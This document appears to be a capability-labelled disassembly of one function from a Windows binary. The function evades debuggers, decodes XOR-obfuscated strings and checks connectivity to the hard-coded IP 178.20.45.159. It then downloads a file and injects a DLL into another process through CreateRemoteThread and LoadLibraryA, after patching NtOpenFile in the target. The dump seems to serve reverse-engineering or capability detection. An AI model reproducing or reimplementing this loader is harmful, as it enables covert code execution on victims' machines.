Function at 0x140001000
Capabilities:
Authenticate hmac
Check for debugger via api
Check internet connectivity via wininet
Create thread
Download url
Enumerate processes
Execute command
Inject thread
Receive data
Set console window title
Terminate process

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0xe0], rax
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbx + 0x30], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rbp + 0xd0], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x14000109e
cmp dword [rbp + 0xd0], 0
je 0x14000109e
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400010b6
mov rcx, 0xffffffffffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x220], rsi
mov qword [rsp + 0x228], r12
mov qword [rsp + 0x230], r13
mov qword [rsp + 0x1f8], r14
mov qword [rsp + 0x1f0], r15
call fcn.140002720
call fcn.140002910
call fcn.140002320
movdqa xmm1, xmmword [str.7tXBYCRE]
mov cl, 0x52
movd r10d, xmm1
mov dl, 0x17
movdqa xmm2, xmmword [0x1400045c0]
mov r9b, 0x73
movdqu xmmword [rsp + 0x78], xmm2
xor byte [rsp + 0x79], r10b
movzx r8d, dl
xor byte [rsp + 0x7a], r10b
movzx esi, cl
xor byte [rsp + 0x7b], r10b
xor cl, r10b
xor byte [rsp + 0x7c], r10b
xor dl, r10b
xor byte [rsp + 0x7d], r10b
xor r8b, r10b
xor byte [rsp + 0x7e], r10b
xor sil, r10b
xor byte [rsp + 0x7f], r10b
movdqa xmm0, xmm1
xor byte [rbp - 0x80], r10b
mov dil, 0x1a
xor byte [rbp - 0x7f], r10b
xor dil, r10b
xor byte [rbp - 0x7e], r10b
mov r11b, 0x5e
xor byte [rbp - 0x7d], r10b
xor r11b, r10b
xor byte [rbp - 0x7c], r10b
mov bl, 0x45
xor byte [rbp - 0x7b], r10b
xor bl, r10b
xor byte [rbp - 0x7a], r10b
mov r14b, 0x54
xor byte [rbp - 0x79], r10b
xor r14b, r10b
movdqu xmmword [rsp + 0x68], xmm1
xor byte [rsp + 0x6a], r10b
movzx r13d, r9b
xor byte [rsp + 0x6b], r10b
xor r9b, r10b
xor byte [rsp + 0x6c], r10b
mov r15b, 0x43
xor byte [rsp + 0x6d], r10b
mov r12b, 4
xor byte [rsp + 0x6e], r10b
xor byte [rsp + 0x6f], r10b
xor byte [rsp + 0x70], r10b
xor byte [rsp + 0x71], r10b
xor byte [rsp + 0x72], r10b
xor byte [rsp + 0x73], r10b
xor byte [rsp + 0x74], r10b
xor byte [rsp + 0x75], r10b
xor byte [rsp + 0x76], r10b
xor byte [rsp + 0x77], r10b
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp - 0x78], cl
mov byte [rbp - 0x77], dl
xor al, r10b
mov byte [rbp - 0x76], dil
mov byte [rsp + 0x69], al
movd eax, xmm2
mov byte [rbp - 0x75], r8b
mov byte [rbp - 0x74], r9b
xor al, r10b
mov byte [rbp - 0x73], r11b
mov byte [rsp + 0x78], al
xor r15b, r10b
mov byte [rbp - 0x72], bl
mov byte [rbp - 0x71], sil
mov byte [rbp - 0x70], r14b
mov al, 0x17
mov byte [rbp - 0x6f], r15b
xor al, r10b
mov byte [rbp - 0x6a], 0
mov byte [rbp - 0x6c], al
lea rdx, [rsp + 0x69]
mov al, 0xe
xor r12b, r10b
xor al, r10b
mov byte [rbp - 0x6e], r12b
xor r13b, r10b
mov byte [rbp - 0x6b], al
xor ecx, ecx
mov byte [rbp - 0x6d], r13b
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
mov qword [0x140007770], rax
lea rdx, [0x140007760]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [0x140007760]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movdqa xmm1, xmmword [str.h__F__8H]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov qword [0x140007768], rax
xor byte [rbp + 0xd2], cl
xor byte [rbp + 0xd3], cl
xor byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], cl
xor byte [rbp + 0xd6], cl
xor byte [rbp + 0xd7], cl
xor byte [rbp + 0xd8], cl
xor byte [rbp + 0xd9], cl
xor byte [rbp + 0xda], cl
xor byte [rbp + 0xdb], cl
xor byte [rbp + 0xdc], cl
xor byte [rbp + 0xdd], cl
xor byte [rbp + 0xde], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rbp + 0xdf], 0
xor al, cl
lea rcx, [rbp + 0xd1]
mov byte [rbp + 0xd1], al
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rcx, str.http:__178.20.45.159
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov r13, qword [rsp + 0x230]
mov r12, qword [rsp + 0x228]
test eax, eax
jne 0x140001481
mov cl, 0x21
mov byte [rbp + 0xd0], 1
movzx r9d, cl
mov dl, 0x5a
xor cl, 1
xor dl, 1
mov al, 0xb
mov byte [rbp + 0xd2], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8b, 0x5c
xor r10d, r10d
mov byte [rbp + 0xd3], dl
xor al, 1
mov byte [rbp + 0xd7], r10b
xor r8b, 1
mov byte [rbp + 0xd1], al
xor r9b, 1
mov byte [rbp + 0xd5], r8b
mov dil, 0x7f
mov byte [rbp + 0xd6], r9b
xor dil, 1
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xd4], dil
call fcn.140001f20
movdqa xmm1, xmmword [0x140004600]
mov rdi, rax
movdqa xmm2, xmmword [0x140004570]
movdqa xmm0, xmm1
movd edx, xmm1
movdqu xmmword [rsp + 0x50], xmm2
mov byte [rsp + 0x60], 0
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movdqu xmmword [rsp + 0x40], xmm1
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
psrldq xmm0, 1
movd ecx, xmm0
movd eax, xmm2
xor cl, dl
xor al, dl
mov byte [rsp + 0x41], cl
mov rcx, rdi
mov byte [rsp + 0x50], al
lea rdx, [rsp + 0x41]
call fcn.140001f20
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov cl, 0x50
mov byte [rbp + 0xd0], 0x70
movzx r9d, cl
mov dl, 0x2b
xor cl, 0x70
xor dl, 0x70
mov al, 0x7a
mov byte [rbp + 0xd2], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8b, 0x2d
xor r10d, r10d
mov byte [rbp + 0xd3], dl
xor al, 0x70
mov byte [rbp + 0xd7], r10b
xor r8b, 0x70
mov byte [rbp + 0xd1], al
xor r9b, 0x70
mov byte [rbp + 0xd5], r8b
mov dil, 0xe
mov byte [rbp + 0xd6], r9b
xor dil, 0x70
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xd4], dil
call fcn.140001f20
movdqa xmm1, xmmword [0x140004610]
mov r11, rax
movd eax, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x58
mov r8b, 0x5e
xor dl, al
psrldq xmm0, 1
xor byte [rsp + 0x42], al
mov r9b, 0x51
xor byte [rsp + 0x43], al
mov r10b, 0x4e
xor byte [rsp + 0x44], al
xor r8b, al
xor byte [rsp + 0x45], al
xor r9b, al
xor byte [rsp + 0x46], al
xor r10b, al
xor byte [rsp + 0x47], al
mov dil, 0x43
xor byte [rsp + 0x48], al
xor dil, al
xor byte [rsp + 0x49], al
xor byte [rsp + 0x4a], al
xor byte [rsp + 0x4b], al
xor byte [rsp + 0x4c], al
xor byte [rsp + 0x4d], al
xor byte [rsp + 0x4e], al
xor byte [rsp + 0x4f], al
movd ecx, xmm0
mov byte [rsp + 0x50], dl
lea rdx, [rsp + 0x41]
mov byte [rsp + 0x51], dil
xor cl, al
mov byte [rsp + 0x52], r8b
mov byte [rsp + 0x41], cl
mov rcx, r11
mov byte [rsp + 0x53], r9b
mov byte [rsp + 0x54], r10b
mov byte [rsp + 0x55], 0
call fcn.140001f20
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [str.y_W_0_Y]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
xor byte [rbp + 0xd2], cl
xor byte [rbp + 0xd3], cl
xor byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
xor byte [rbp + 0xd6], cl
mov byte [rbp + 0xd1], al
movdqa xmm1, xmmword [0x140004620]
mov r9b, 0xe
xor byte [rbp + 0xd7], cl
movzx r10d, r9b
xor byte [rbp + 0xd8], cl
movdqa xmm0, xmm1
xor byte [rbp + 0xd9], cl
mov dl, 0x2d
xor byte [rbp + 0xda], cl
mov r8b, 0x18
xor byte [rbp + 0xdb], cl
mov r11b, 0x5d
xor byte [rbp + 0xdc], cl
mov dil, 0xf
xor byte [rbp + 0xdd], cl
mov bl, 0x32
xor byte [rbp + 0xde], cl
mov sil, 0x36
movd ecx, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rbp + 0xdf], 0
xor byte [rsp + 0x42], cl
xor dl, cl
xor byte [rsp + 0x43], cl
xor r8b, cl
xor byte [rsp + 0x44], cl
xor r9b, cl
xor byte [rsp + 0x45], cl
xor dil, cl
xor byte [rsp + 0x46], cl
xor r10b, cl
xor byte [rsp + 0x47], cl
xor r11b, cl
xor byte [rsp + 0x48], cl
xor bl, cl
xor byte [rsp + 0x49], cl
xor sil, cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x50], dl
lea rdx, [rsp + 0x41]
mov byte [rsp + 0x52], r8b
lea r8, [rbp + 0xd1]
xor al, cl
mov byte [rsp + 0x53], r9b
xor ecx, ecx
mov byte [rsp + 0x41], al
xor r9d, r9d
mov byte [rsp + 0x51], dil
mov byte [rsp + 0x54], r10b
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x56], bl
mov byte [rsp + 0x57], sil
mov byte [rsp + 0x58], 0
call qword [sym.imp.USER32.dll_MessageBoxA]
mov cl, 0x28
mov byte [rbp + 0xd0], 8
movzx r9d, cl
mov al, 2
xor cl, 8
xor al, 8
mov dl, 0x53
mov byte [rbp + 0xd1], al
xor dl, 8
mov byte [rbp + 0xd2], cl
mov dil, 0x76
mov byte [rbp + 0xd3], dl
xor dil, 8
mov r8b, 0x55
xor r8b, 8
mov byte [rbp + 0xd4], dil
xor r10d, r10d
mov byte [rbp + 0xd5], r8b
xor r9b, 8
mov byte [rbp + 0xd6], r9b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xd7], r10b
call fcn.140001f20
movdqa xmm1, xmmword [0x1400045b0]
mov dil, 0x72
movd edx, xmm1
movzx r8d, dil
movdqu xmmword [rsp + 0x40], xmm1
movzx r9d, dil
mov byte [rsp + 0x53], 0
xor byte [rsp + 0x42], dl
xor dil, dl
xor byte [rsp + 0x43], dl
xor r8b, dl
xor byte [rsp + 0x44], dl
xor r9b, dl
xor byte [rsp + 0x45], dl
movdqa xmm0, xmm1
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
psrldq xmm0, 1
movd ecx, xmm0
mov byte [rsp + 0x50], dil
mov byte [rsp + 0x51], r8b
xor cl, dl
mov byte [rsp + 0x52], r9b
mov byte [rsp + 0x41], cl
lea rdx, [rsp + 0x41]
mov rcx, rax
call fcn.140001f20
movdqa xmm1, xmmword [0x140004640]
mov dl, 0x6c
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov dil, 0x64
mov r8b, 0x3a
xor dl, cl
psrldq xmm0, 1
xor byte [rsp + 0x42], cl
xor dil, cl
xor byte [rsp + 0x43], cl
xor r8b, cl
xor byte [rsp + 0x44], cl
mov r9b, 0x3b
xor byte [rsp + 0x45], cl
xor r9b, cl
xor byte [rsp + 0x46], cl
mov r10b, 0x27
xor byte [rsp + 0x47], cl
xor r10b, cl
xor byte [rsp + 0x48], cl
mov r11b, 0x6d
xor byte [rsp + 0x49], cl
mov bl, 0x65
xor byte [rsp + 0x4a], cl
movzx esi, bl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm0
mov byte [rsp + 0x50], dl
mov byte [rsp + 0x51], dil
xor al, cl
mov byte [rsp + 0x52], r8b
xor r11b, cl
mov byte [rsp + 0x41], al
mov byte [rsp + 0x55], r11b
mov byte [rsp + 0x53], r9b
mov byte [rsp + 0x54], r10b
movdqa xmm1, xmmword [0x140004630]
xor bl, cl
movd edx, xmm1
xor sil, cl
movdqa xmm2, xmmword [0x1400045a0]
mov r10b, 0x3d
movdqu xmmword [rsp + 0x78], xmm2
xor byte [rsp + 0x79], dl
movzx r14d, r10b
xor byte [rsp + 0x7a], dl
xor r14b, dl
xor byte [rsp + 0x7b], dl
mov r11b, 0x35
xor byte [rsp + 0x7c], dl
mov r9b, 0x38
xor byte [rsp + 0x7d], dl
movzx r15d, r10b
xor byte [rsp + 0x7e], dl
xor r9b, dl
xor byte [rsp + 0x7f], dl
xor r10b, dl
xor byte [rbp - 0x80], dl
xor r15b, dl
xor byte [rbp - 0x7f], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x7e], dl
mov cl, 0xe
xor byte [rbp - 0x7d], dl
xor cl, dl
xor byte [rbp - 0x7c], dl
mov dil, 0x33
xor byte [rbp - 0x7b], dl
xor dil, dl
xor byte [rbp - 0x7a], dl
mov r8b, 0x24
xor byte [rbp - 0x79], dl
xor r8b, dl
movdqu xmmword [rsp + 0x68], xmm1
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor byte [rsp + 0x70], dl
xor byte [rsp + 0x71], dl
xor byte [rsp + 0x72], dl
xor byte [rsp + 0x73], dl
xor byte [rsp + 0x74], dl
xor byte [rsp + 0x75], dl
xor byte [rsp + 0x76], dl
xor byte [rsp + 0x77], dl
mov byte [rsp + 0x56], bl
mov bl, 0x7f
mov byte [rsp + 0x57], sil
xor bl, dl
movzx esi, r11b
psrldq xmm0, 1
movd eax, xmm0
xor r11b, dl
xor sil, dl
mov byte [rbp - 0x70], r14b
xor r14d, r14d
mov byte [rbp - 0x75], r9b
xor al, dl
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x69], al
movd eax, xmm2
mov byte [rbp - 0x78], cl
mov byte [rbp - 0x77], dil
xor al, dl
mov byte [rbp - 0x76], r8b
mov byte [rsp + 0x78], al
xor r9d, r9d
mov byte [rbp - 0x74], r10b
mov byte [rbp - 0x73], r11b
mov byte [rbp - 0x72], bl
mov byte [rbp - 0x71], sil
mov byte [rbp - 0x6f], r15b
mov byte [rbp - 0x6e], 0
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x41]
xor ecx, ecx
lea rdx, [rsp + 0x69]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov cl, 0x4c
mov byte [rbp + 0xd0], 0x6c
movzx r9d, cl
mov dl, 0x37
xor cl, 0x6c
xor dl, 0x6c
mov al, 0x66
mov byte [rbp + 0xd2], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r8b, 0x31
xor r10d, r10d
mov byte [rbp + 0xd3], dl
xor al, 0x6c
mov byte [rbp + 0xd7], r10b
xor r8b, 0x6c
mov byte [rbp + 0xd1], al
xor r9b, 0x6c
mov byte [rbp + 0xd5], r8b
mov dil, 0x12
mov byte [rbp + 0xd6], r9b
xor dil, 0x6c
lea rdx, [rbp + 0xd1]
mov byte [rbp + 0xd4], dil
call fcn.140001f20
movdqa xmm1, xmmword [0x140004580]
mov r8, rax
movdqa xmm2, xmmword [0x1400045d0]
movdqa xmm0, xmm1
movd edx, xmm1
mov dil, 0x42
movdqu xmmword [rsp + 0x50], xmm2
mov byte [rsp + 0x61], r14b
xor byte [rsp + 0x51], dl
xor dil, dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movdqu xmmword [rsp + 0x40], xmm1
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
psrldq xmm0, 1
movd ecx, xmm0
movd eax, xmm2
mov byte [rsp + 0x60], dil
xor cl, dl
xor al, dl
mov byte [rsp + 0x41], cl
mov rcx, r8
mov byte [rsp + 0x50], al
lea rdx, [rsp + 0x41]
call fcn.140001f20
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x1400045e0]
mov r15, qword [rsp + 0x1f0]
mov bl, 0x53
movd ecx, xmm1
movzx esi, bl
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x58], r14b
mov r9b, 0xd
xor byte [rsp + 0x42], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x43], cl
xor r9b, cl
xor byte [rsp + 0x44], cl
xor bl, cl
xor byte [rsp + 0x45], cl
xor sil, cl
xor byte [rsp + 0x46], cl
mov dl, 0x5a
xor byte [rsp + 0x47], cl
xor dl, cl
xor byte [rsp + 0x48], cl
mov dil, 0x52
xor byte [rsp + 0x49], cl
xor dil, cl
xor byte [rsp + 0x4a], cl
mov r8b, 0xc
xor byte [rsp + 0x4b], cl
xor r8b, cl
xor byte [rsp + 0x4c], cl
mov r10b, 0x11
xor byte [rsp + 0x4d], cl
xor r10b, cl
xor byte [rsp + 0x4e], cl
mov r11b, 0x5b
xor byte [rsp + 0x4f], cl
xor r11b, cl
mov byte [rsp + 0x53], r9b
mov r9b, 0x1b
mov byte [rsp + 0x50], dl
mov dl, 0x19
mov byte [rsp + 0x51], dil
xor dl, 0x7e
mov byte [rsp + 0x52], r8b
mov dil, 0x11
mov byte [rsp + 0x54], r10b
xor dil, 0x7e
mov byte [rsp + 0x55], r11b
mov r8b, 0x50
movzx r11d, r9b
psrldq xmm0, 1
xor r8b, 0x7e
movd eax, xmm0
xor r9b, 0x7e
mov byte [rsp + 0x56], bl
xor ebx, ebx
mov byte [rsp + 0x57], sil
mov rsi, qword [rsp + 0x220]
xor al, cl
mov byte [rsp + 0x41], al
mov cl, 0xd
xor cl, 0x7e
mov byte [rbp + 0xd0], 0x7e
mov al, 0x1d
mov byte [rbp + 0xd2], cl
xor al, 0x7e
mov byte [rbp + 0xd3], dl
mov r10b, 6
mov byte [rbp + 0xd1], al
xor r10b, 0x7e
mov byte [rbp + 0xd4], dil
xor r11b, 0x7e
mov byte [rbp + 0xd5], r8b
mov byte [rbp + 0xd8], r11b
mov byte [rbp + 0xd6], r9b
mov byte [rbp + 0xd7], r10b
mov byte [rbp + 0xd9], bl
xor edx, edx
mov ebx, r14d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001cab
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140001cab
nop
lea rdx, [rbp + 0xd1]
lea rcx, [rbp - 0x34]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001ca8
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001c80
jmp 0x140001cab
mov ebx, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x140001c50
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001dcd
cmp rax, 0xffffffffffffffff
je 0x140001dc4
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtOpenFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001d3b
mov ecx, dword [rax]
lea r8, [rbp + 0xd0]
mov dword [rbp + 0xd0], ecx
mov r9d, 5
movzx ecx, byte [rax + 4]
mov rdx, rax
mov byte [rbp + 0xd4], cl
mov rcx, rdi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov r9, 0xffffffffffffffff
lea rax, [rsp + 0x41]
nop dword [rax]
inc r9
cmp byte [rax + r9], r14b
jne 0x140001d70
inc r9
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x41]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
mov qword [rsp + 0x30], r14
xor edx, edx
mov dword [rsp + 0x28], r14d
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140001dc4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x30
mov byte [rbp + 0xd0], 0x3a
movzx edx, al
xor ecx, ecx
xor dl, 0x3a
mov byte [rbp + 0xd8], cl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dil, 0x1a
movzx r11d, dil
mov byte [rbp + 0xd2], dl
mov r8b, 0x61
lea rdx, [rbp + 0xd1]
mov r9b, 0x44
mov r10b, 0x67
xor al, 0x3a
xor r8b, 0x3a
xor r9b, 0x3a
mov byte [rbp + 0xd1], al
xor r10b, 0x3a
mov byte [rbp + 0xd4], r8b
xor r11b, 0x3a
mov byte [rbp + 0xd5], r9b
xor dil, 0x3a
mov byte [rbp + 0xd6], r10b
mov byte [rbp + 0xd3], dil
mov byte [rbp + 0xd7], r11b
call fcn.140001f20
movdqa xmm1, xmmword [0x1400045f0]
mov r10, rax
movd eax, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x4b
mov r8b, 0x2f
xor dl, al
psrldq xmm0, 1
xor byte [rsp + 0x42], al
mov r9b, 5
xor byte [rsp + 0x43], al
xor r8b, al
xor byte [rsp + 0x44], al
xor r9b, al
xor byte [rsp + 0x45], al
mov dil, 4
xor byte [rsp + 0x46], al
xor dil, al
xor byte [rsp + 0x47], al
xor byte [rsp + 0x48], al
xor byte [rsp + 0x49], al
xor byte [rsp + 0x4a], al
xor byte [rsp + 0x4b], al
xor byte [rsp + 0x4c], al
xor byte [rsp + 0x4d], al
xor byte [rsp + 0x4e], al
xor byte [rsp + 0x4f], al
movd ecx, xmm0
mov byte [rsp + 0x50], dl
lea rdx, [rsp + 0x41]
mov byte [rsp + 0x51], dil
xor cl, al
mov byte [rsp + 0x52], r8b
mov byte [rsp + 0x41], cl
mov rcx, r10
mov byte [rsp + 0x53], r9b
mov byte [rsp + 0x54], r14b
call fcn.140001f20
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [rsp + 0x1f8]
xor eax, eax
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140002a00
add rsp, 0x200
pop rdi
pop rbx
pop rbp
ret